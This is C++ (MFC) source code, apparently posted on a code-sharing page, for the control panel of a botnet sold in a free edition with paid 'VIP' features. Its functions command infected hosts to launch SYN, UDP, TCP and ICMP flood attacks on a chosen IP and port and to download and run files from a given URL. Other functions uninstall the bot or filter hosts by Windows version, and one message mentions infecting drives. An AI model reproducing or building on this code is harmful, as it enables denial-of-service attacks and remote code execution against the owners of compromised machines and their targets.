📄
字号:
///////////////////////////////////////////////////////////////////////////////////
//////////卸载全部
void CMyDlg::OnButtonRemove()
{
if (MessageBox("真的要卸载吗?","卸载",MB_YESNO) == IDNO)
return;
data="REMOVE";
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetCheck(i))
{
int id = (int)m_ListCtrl.GetItemData(i);
if (index[id] == 1)
{
if (!ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1))
{
index[id]=-1;
ClientSock[id].Close();
return;
}
}
else
{
index[id]=-1;
ClientSock[id].Close();
m_ListCtrl.DeleteItem(i);
}
}
}
SetDlgItemText(IDC_SHOW,"选择被控主机成功卸载");
}
///////////////////////////////////////////////////////////////////////////////////
//////////开始攻击
void CMyDlg::OnButtonFlood()
{
UpdateData(TRUE);
CString pt="";
if (m_syn)
pt = "syn_";
if(m_udp)
pt += "udp_";
if(m_tcp)
pt += "tcp_";
if(m_icmp)
pt += "icmp_";
data.Format("FLOOD:%s|%d|%d|%s|%s",m_tgtip.GetBuffer(0),m_tgtport,m_timeout,pt.GetBuffer(0),m_getobj.GetBuffer(0));
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetCheck(i))
{
int id = (int)m_ListCtrl.GetItemData(i);
if (index[id] == 1)
{
ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1);
}
}
}
SetDlgItemText(IDC_SHOW,"选择主机进入攻击状态");
}
///////////////////////////////////////////////////////////////////////////////////
//////停止攻击
void CMyDlg::OnButtonStop()
{
UpdateData(TRUE);
data="STOPATTACK";
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetCheck(i))
{
int id = (int)m_ListCtrl.GetItemData(i);
if (index[id] == 1)
{
ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1);
}
}
}
SetDlgItemText(IDC_SHOW,"选择被控主机已停止攻击");
}
///////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////
/////////其他功能
void CMyDlg::OnButtonDownload()
{
UpdateData(TRUE);
if (m_extraurl.Find("http://www.yn.com/exe/htm/asp")>=0)
return;
data.Format("DOWNLOAD:%s",m_extraurl.GetBuffer(0));
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetCheck(i))
{
int id = (int)m_ListCtrl.GetItemData(i);
if (index[id] == 1)
{
if (!ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1))
{
index[id]=-1;
ClientSock[id].Close();
}
}
else
{
index[id]=-1;
ClientSock[id].Close();
m_ListCtrl.DeleteItem(i);
}
}
}
SetDlgItemText(IDC_SHOW,"选择主机远程下载文件运行成功");
}
void CMyDlg::OnButtonUpdatedata()
{
UpdateData(TRUE);
SetDlgItemText(IDC_SHOW,"马上加入VIP,享受此功能");
/*
data.Format("UPDATEDATA:%s",m_extraurl.GetBuffer(0));
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetCheck(i))
{
int id = (int)m_ListCtrl.GetItemData(i);
if (index[id] == 1)
{
if (!ClientSock[id].Send(data.GetBuffer(0),data.GetLength()+1))
{
index[id]=-1;
ClientSock[id].Close();
return;
}
}
else
{
index[id]=-1;
ClientSock[id].Close();
m_ListCtrl.DeleteItem(i);
}
}
}
SetDlgItemText(IDC_SHOW,"选择主机的服务端更新成功");
//*/
}
//其他功能 完毕
///////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////
void CMyDlg::OnButtonReflash()
{
int num=0;
for(int i=0;i<number_host;i++)
{
if (index[i] == 1)
{
if (!ClientSock[i].Send("1",1))
{
index[i]=-1;
ClientSock[i].Close();
DeleteHost(i);
}
else
num++;
}
else
{
index[i]=-1;
}
}
int n= m_ListCtrl.GetItemCount();
for(int a=0;a<n;a++)
m_ListCtrl.SetItemText(a,3,"无命令");
SetDlgItemInt(IDC_UPHOST,num,TRUE);
}
void CMyDlg::OnTimer(UINT nIDEvent)
{
if (nIDEvent == 1)
{
int num=0;
for(int i=0;i<number_host;i++)
{
if (index[i] == 1)
{
if (!ClientSock[i].Send("1",1))
{
index[i]=-1;
ClientSock[i].Close();
DeleteHost(i);
}
else
num++;
}
else
{
index[i]=-1;
}
}
}
SetDlgItemInt(IDC_UPHOST,m_ListCtrl.GetItemCount(),TRUE);
CDialog::OnTimer(nIDEvent);
}
void CMyDlg::OnCancel()
{
if (MessageBox("真的要退出吗?","退出",MB_YESNO) == IDNO)
return;
for(int i=0;i<number_host;i++)
{
if (index[i] == 1)
{
closesocket(ClientSock[i].m_hSocket);
}
}
WSACleanup();
CDialog::OnCancel();
}
void CMyDlg::OnCheckAllsel()
{
UpdateData(TRUE);
if (m_selall)
{
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
m_ListCtrl.SetCheck(i,TRUE);
}
}
else
{
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
m_ListCtrl.SetCheck(i,FALSE);
}
}
}
void CMyDlg::CommandOK(int id)
{
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
int idndex = (int)m_ListCtrl.GetItemData(i);
if (id == idndex)
{
m_ListCtrl.SetItemText(i,3,"成功");
}
}
}
void CMyDlg::OnCheckW2000()
{
MessageBox("加入VIP,享受此服务","VIP");
m_2k=FALSE;
CButton *b = (CButton *)GetDlgItem(IDC_CHECK_W2000);
b->SetCheck(0);
/*
UpdateData(TRUE);
if (!m_2k)//取消
{
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetItemText(i,1).Compare("Win 2000")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win XP")==0)
{
m_ListCtrl.SetCheck(i,FALSE);
}
}
}
else//选择
{
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetItemText(i,1).Compare("Win 2000")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win XP")==0)
{
m_ListCtrl.SetCheck(i,TRUE);
}
}
}
*/
}
void CMyDlg::OnCheckSp2()
{
UpdateData(TRUE);
if (!m_sp2)//取消
{
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetItemText(i,1).Compare("Win XP SP2")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win 2003")==0)
{
m_ListCtrl.SetCheck(i,FALSE);
}
}
}
else//选择
{
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetItemText(i,1).Compare("Win XP SP2")==0 || m_ListCtrl.GetItemText(i,1).Compare("Win 2003")==0)
{
m_ListCtrl.SetCheck(i,TRUE);
}
}
}
}
void CMyDlg::OnButtonFindip()
{
UpdateData(TRUE);
int n=m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if (m_ListCtrl.GetItemText(i,0).Compare(m_findip)==0)
{
m_ListCtrl.SetHotItem(i);
m_ListCtrl.SetCheck(i);
SetDlgItemText(IDC_SHOW,"该IP存在,请查看");
return;
}
}
SetDlgItemText(IDC_SHOW,"该IP不存在");
}
void CMyDlg::OnCheckCover()
{
MessageBox("公布版默认只能感染D盘。加入VIP,享受此服务","VIP");
CButton *b = (CButton *)GetDlgItem(IDC_CHECK_COVER);
b->SetCheck(0);
}
void CMyDlg::OnCheckTcpbreak()
{
MessageBox("加入VIP,享受此服务","VIP");
m_break=FALSE;
CButton *b = (CButton *)GetDlgItem(IDC_CHECK_TCPBREAK);
b->SetCheck(0);
}
void CMyDlg::OnCheckGet()
{
MessageBox("加入VIP,享受此服务","VIP");
m_get=FALSE;
CButton *b = (CButton *)GetDlgItem(IDC_CHECK_GET);
b->SetCheck(0);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -